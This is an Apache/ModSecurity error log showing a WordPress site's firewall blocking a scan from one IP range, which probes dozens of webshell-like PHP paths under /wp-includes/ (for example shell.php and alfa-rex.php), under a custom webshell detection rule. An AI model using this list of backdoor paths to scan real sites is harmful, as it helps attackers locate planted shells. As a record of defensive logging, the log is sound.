[Wed Apr 15 06:18:21.316790 2026] [:error] [pid 45504:tid 45506] [client 45.131.195.149:54103] [client 45.131.195.149] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/Requests/Text/index.php"] [unique_id "ad69La3iO9_fE_IQEMlGqgAAAQA"]
[Wed Apr 15 06:18:23.684173 2026] [:error] [pid 45504:tid 45524] [client 45.131.195.124:32025] [client 45.131.195.124] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/sitemaps/abcd.php"] [unique_id "ad69L63iO9_fE_IQEMlGrwAAARI"]
[Wed Apr 15 06:18:24.884249 2026] [:error] [pid 45504:tid 45519] [client 45.131.195.165:63803] [client 45.131.195.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/ID3/rk2.php"] [unique_id "ad69MK3iO9_fE_IQEMlGsgAAAQ0"]
[Wed Apr 15 06:18:26.134705 2026] [:error] [pid 45504:tid 45530] [client 45.131.195.197:59189] [client 45.131.195.197] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/widgets/class-wp-widget-search-interpreter.php"] [unique_id "ad69Mq3iO9_fE_IQEMlGtwAAARg"]
[Wed Apr 15 06:18:30.809768 2026] [:error] [pid 4067:tid 4134] [client 45.131.195.204:22513] [client 45.131.195.204] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/block-template-utils-other.php"] [unique_id "ad69Nu5XHBJU8ZrRxZ1DHwAAAIM"]
[Wed Apr 15 06:18:35.745793 2026] [:error] [pid 4169:tid 4177] [client 45.131.195.165:64831] [client 45.131.195.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/sodium_compat/lib/widget-group.php"] [unique_id "ad69Ox15U5D-N99n_jKMSQAAAMU"]
[Wed Apr 15 06:18:38.662794 2026] [:error] [pid 45504:tid 45530] [client 45.131.195.126:28623] [client 45.131.195.126] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/js/jcrop/about.php"] [unique_id "ad69Pq3iO9_fE_IQEMlGwQAAARg"]
[Wed Apr 15 06:18:39.702610 2026] [proxy_fcgi:error] [pid 4066:tid 4104] [client 45.131.195.169:28435] AH01071: Got error 'PHP message: PHP Fatal error:  Uncaught Error: Call to undefined function get_locale() in /home/rcacivils/public_html/wp-admin/includes/admin.php:16\nStack trace:\n#0 {main}\n  thrown in /home/rcacivils/public_html/wp-admin/includes/admin.php on line 16'
[Wed Apr 15 06:18:40.827666 2026] [:error] [pid 4065:tid 4089] [client 45.131.195.197:47005] [client 45.131.195.197] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/customize/chosen.php"] [unique_id "ad69QAWArgJTHu2_6OzMNAAAAA0"]
[Wed Apr 15 06:18:50.099431 2026] [:error] [pid 4066:tid 4104] [client 45.131.195.149:37633] [client 45.131.195.149] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/plugin.php"] [unique_id "ad69SoC2YXfSPsC9O_BwlQAAAEA"]
[Wed Apr 15 06:18:51.246669 2026] [:error] [pid 4169:tid 4186] [client 45.131.195.124:58947] [client 45.131.195.124] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/class-wp-scripts-query.php"] [unique_id "ad69Sx15U5D-N99n_jKMYwAAAM0"]
[Wed Apr 15 06:18:55.248392 2026] [:error] [pid 45504:tid 45509] [client 45.131.195.179:35571] [client 45.131.195.179] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/ID3/module.audio-license.php"] [unique_id "ad69T63iO9_fE_IQEMlG5gAAAQM"]
[Wed Apr 15 06:19:01.656051 2026] [:error] [pid 45504:tid 45527] [client 45.131.195.186:59465] [client 45.131.195.186] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/class-wp-error-module.php"] [unique_id "ad69Va3iO9_fE_IQEMlG_gAAARU"]
[Wed Apr 15 06:19:05.431901 2026] [:error] [pid 4169:tid 4191] [client 45.131.195.120:33401] [client 45.131.195.120] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/css/litespeed.php"] [unique_id "ad69WR15U5D-N99n_jKMfAAAANE"]
[Wed Apr 15 06:19:08.655696 2026] [:error] [pid 45504:tid 45511] [client 45.131.195.161:40501] [client 45.131.195.161] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/css/dist/alam.php"] [unique_id "ad69XK3iO9_fE_IQEMlHFgAAAQU"]
[Wed Apr 15 06:19:11.486031 2026] [:error] [pid 4169:tid 4181] [client 45.131.195.124:52661] [client 45.131.195.124] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/block-bindings/imagess.php"] [unique_id "ad69Xx15U5D-N99n_jKMhgAAAMk"]
[Wed Apr 15 06:19:14.242721 2026] [:error] [pid 45504:tid 45515] [client 45.131.195.164:64271] [client 45.131.195.164] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/default-filters-edit.php"] [unique_id "ad69Yq3iO9_fE_IQEMlHKAAAAQk"]
[Wed Apr 15 06:19:20.694573 2026] [:error] [pid 45504:tid 45506] [client 45.131.195.175:60875] [client 45.131.195.175] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/Requests/Auth/index.php"] [unique_id "ad69aK3iO9_fE_IQEMlHRQAAAQA"]
[Wed Apr 15 06:19:25.637162 2026] [:error] [pid 45504:tid 45520] [client 45.131.195.134:23867] [client 45.131.195.134] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/Text/Diff/Engine/theme.php"] [unique_id "ad69ba3iO9_fE_IQEMlHWgAAAQ4"]
[Wed Apr 15 06:19:26.732211 2026] [proxy_fcgi:error] [pid 4169:tid 4196] [client 45.131.195.250:50737] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 06:19:26.959090 2026] [:error] [pid 4169:tid 4195] [client 45.131.195.250:50737] [client 45.131.195.250] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/ID3/shell.php"] [unique_id "ad69bh15U5D-N99n_jKMmAAAANQ"]
[Wed Apr 15 06:19:28.316680 2026] [:error] [pid 45504:tid 45520] [client 45.131.195.156:29521] [client 45.131.195.156] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/customize/class-wp-customize-selective-refresh-library.php"] [unique_id "ad69cK3iO9_fE_IQEMlHXwAAAQ4"]
[Wed Apr 15 06:19:32.336835 2026] [:error] [pid 45504:tid 45514] [client 45.131.195.150:42401] [client 45.131.195.150] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/Requests/library/wp-login.php"] [unique_id "ad69dK3iO9_fE_IQEMlHZwAAAQg"]
[Wed Apr 15 06:19:33.183095 2026] [:error] [pid 4169:tid 4172] [client 45.131.195.151:28983] [client 45.131.195.151] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/interactivity-api/about.php"] [unique_id "ad69dR15U5D-N99n_jKMowAAAMA"]
[Wed Apr 15 06:19:41.891157 2026] [:error] [pid 45504:tid 45529] [client 45.131.195.141:54941] [client 45.131.195.141] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/wp-2019.php"] [unique_id "ad69fa3iO9_fE_IQEMlHfgAAARc"]
[Wed Apr 15 06:19:42.927735 2026] [:error] [pid 4169:tid 4189] [client 45.131.195.115:33269] [client 45.131.195.115] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/SimplePie/info.php"] [unique_id "ad69fh15U5D-N99n_jKMuQAAANA"]
[Wed Apr 15 06:19:45.691621 2026] [:error] [pid 4066:tid 4125] [client 45.131.195.121:54729] [client 45.131.195.121] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/log.php"] [unique_id "ad69gYC2YXfSPsC9O_BwrAAAAFU"]
[Wed Apr 15 06:19:47.139910 2026] [:error] [pid 4065:tid 4090] [client 45.131.195.140:55565] [client 45.131.195.140] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/assets/script-loader-react-refresh-runtime-num.php"] [unique_id "ad69gwWArgJTHu2_6OzMZwAAAA4"]
[Wed Apr 15 06:19:48.269640 2026] [:error] [pid 4065:tid 4093] [client 45.131.195.180:35881] [client 45.131.195.180] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/assets/script-loader-react-refresh-entry.min-object.php"] [unique_id "ad69hAWArgJTHu2_6OzMaQAAABE"]
[Wed Apr 15 06:19:49.463713 2026] [:error] [pid 45504:tid 45529] [client 45.131.195.150:57589] [client 45.131.195.150] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/aw.php"] [unique_id "ad69ha3iO9_fE_IQEMlHhQAAARc"]
[Wed Apr 15 06:19:55.987556 2026] [:error] [pid 4169:tid 4181] [client 45.131.195.159:50693] [client 45.131.195.159] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/IXR/db.php"] [unique_id "ad69ix15U5D-N99n_jKM0wAAAMk"]
[Wed Apr 15 06:19:56.964975 2026] [:error] [pid 4067:tid 4143] [client 45.131.195.145:27677] [client 45.131.195.145] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/css/install.php"] [unique_id "ad69jO5XHBJU8ZrRxZ1DSwAAAIw"]
[Wed Apr 15 06:20:00.936045 2026] [:error] [pid 45504:tid 45519] [client 45.131.195.120:48321] [client 45.131.195.120] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/css/dist/install.php"] [unique_id "ad69kK3iO9_fE_IQEMlHrgAAAQ0"]
[Wed Apr 15 06:20:01.475012 2026] [:error] [pid 45504:tid 45522] [client 45.131.195.121:38087] [client 45.131.195.121] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/style-engine/dedi1.php"] [unique_id "ad69ka3iO9_fE_IQEMlHrwAAARA"]
[Wed Apr 15 06:20:05.586745 2026] [:error] [pid 45504:tid 45521] [client 45.131.195.161:49301] [client 45.131.195.161] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/template-less.php"] [unique_id "ad69la3iO9_fE_IQEMlHwAAAAQ8"]
[Wed Apr 15 06:20:07.771469 2026] [:error] [pid 45504:tid 45506] [client 45.131.195.119:30843] [client 45.131.195.119] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/pomo/alfa-rex.php"] [unique_id "ad69l63iO9_fE_IQEMlHwwAAAQA"]
[Wed Apr 15 06:20:18.417017 2026] [:error] [pid 4066:tid 4105] [client 45.131.195.139:57173] [client 45.131.195.139] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/assets/min.php"] [unique_id "ad69ooC2YXfSPsC9O_Bw3wAAAEE"]
[Wed Apr 15 06:20:19.660939 2026] [:error] [pid 45504:tid 45509] [client 45.131.195.189:36463] [client 45.131.195.189] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/wp-conflg.php"] [unique_id "ad69o63iO9_fE_IQEMlIZgAAAQM"]
[Wed Apr 15 06:20:23.947425 2026] [:error] [pid 45504:tid 45523] [client 45.131.195.175:46621] [client 45.131.195.175] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/file.php"] [unique_id "ad69p63iO9_fE_IQEMlIhgAAARE"]
[Wed Apr 15 06:20:26.607907 2026] [:error] [pid 4065:tid 4084] [client 45.131.195.145:20923] [client 45.131.195.145] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/block-patterns/about.php"] [unique_id "ad69qgWArgJTHu2_6OzMdQAAAAg"]
[Wed Apr 15 06:20:29.431512 2026] [:error] [pid 45504:tid 45506] [client 45.131.195.145:33837] [client 45.131.195.145] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/load.php"] [unique_id "ad69ra3iO9_fE_IQEMlIsQAAAQA"]
[Wed Apr 15 06:20:30.802365 2026] [:error] [pid 45504:tid 45515] [client 45.131.195.124:33387] [client 45.131.195.124] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/ID3/chosen.php"] [unique_id "ad69rq3iO9_fE_IQEMlIuQAAAQk"]
[Wed Apr 15 06:20:31.691356 2026] [:error] [pid 4066:tid 4120] [client 45.131.195.171:54587] [client 45.131.195.171] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/class-wp-theme-float.php"] [unique_id "ad69r4C2YXfSPsC9O_Bw4wAAAFA"]
[Wed Apr 15 06:20:37.846932 2026] [:error] [pid 4169:tid 4187] [client 45.131.195.130:44373] [client 45.131.195.130] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/widgets/wp-style.php"] [unique_id "ad69tR15U5D-N99n_jKNFQAAAM4"]
[Wed Apr 15 06:20:40.177125 2026] [:error] [pid 45504:tid 45521] [client 45.131.195.130:52683] [client 45.131.195.130] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/widgets/autoload_classmap.php"] [unique_id "ad69uK3iO9_fE_IQEMlI2QAAAQ8"]
[Wed Apr 15 06:20:44.119728 2026] [:error] [pid 4066:tid 4127] [client 45.131.195.197:41399] [client 45.131.195.197] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/block-bindings/admin.php"] [unique_id "ad69vIC2YXfSPsC9O_Bw7QAAAFc"]
[Wed Apr 15 06:20:44.778412 2026] [:error] [pid 45504:tid 45507] [client 45.131.195.251:32067] [client 45.131.195.251] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/PHPMailer/autoload_classmap.php"] [unique_id "ad69vK3iO9_fE_IQEMlI7QAAAQE"]
[Wed Apr 15 06:20:45.652521 2026] [:error] [pid 4169:tid 4177] [client 45.131.195.174:37409] [client 45.131.195.174] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/theme-compat/db.php"] [unique_id "ad69vR15U5D-N99n_jKNHAAAAMU"]
[Wed Apr 15 06:20:56.997950 2026] [:error] [pid 4066:tid 4125] [client 45.131.195.120:38755] [client 45.131.195.120] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/assets/system.php"] [unique_id "ad69yIC2YXfSPsC9O_BxEQAAAFU"]
[Wed Apr 15 06:20:58.989894 2026] [:error] [pid 45504:tid 45516] [client 45.131.195.126:30901] [client 45.131.195.126] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/block-bindings/about.php"] [unique_id "ad69yq3iO9_fE_IQEMlI-wAAAQo"]
[Wed Apr 15 06:21:03.306655 2026] [:error] [pid 4066:tid 4120] [client 45.131.195.121:47315] [client 45.131.195.121] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/customize/class-wp-customize-upload-control-cookie.php"] [unique_id "ad69z4C2YXfSPsC9O_BxHwAAAFA"]
[Wed Apr 15 06:21:04.226801 2026] [:error] [pid 4169:tid 4195] [client 45.131.195.136:30537] [client 45.131.195.136] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/ID3/simi.php"] [unique_id "ad690B15U5D-N99n_jKNQgAAANQ"]
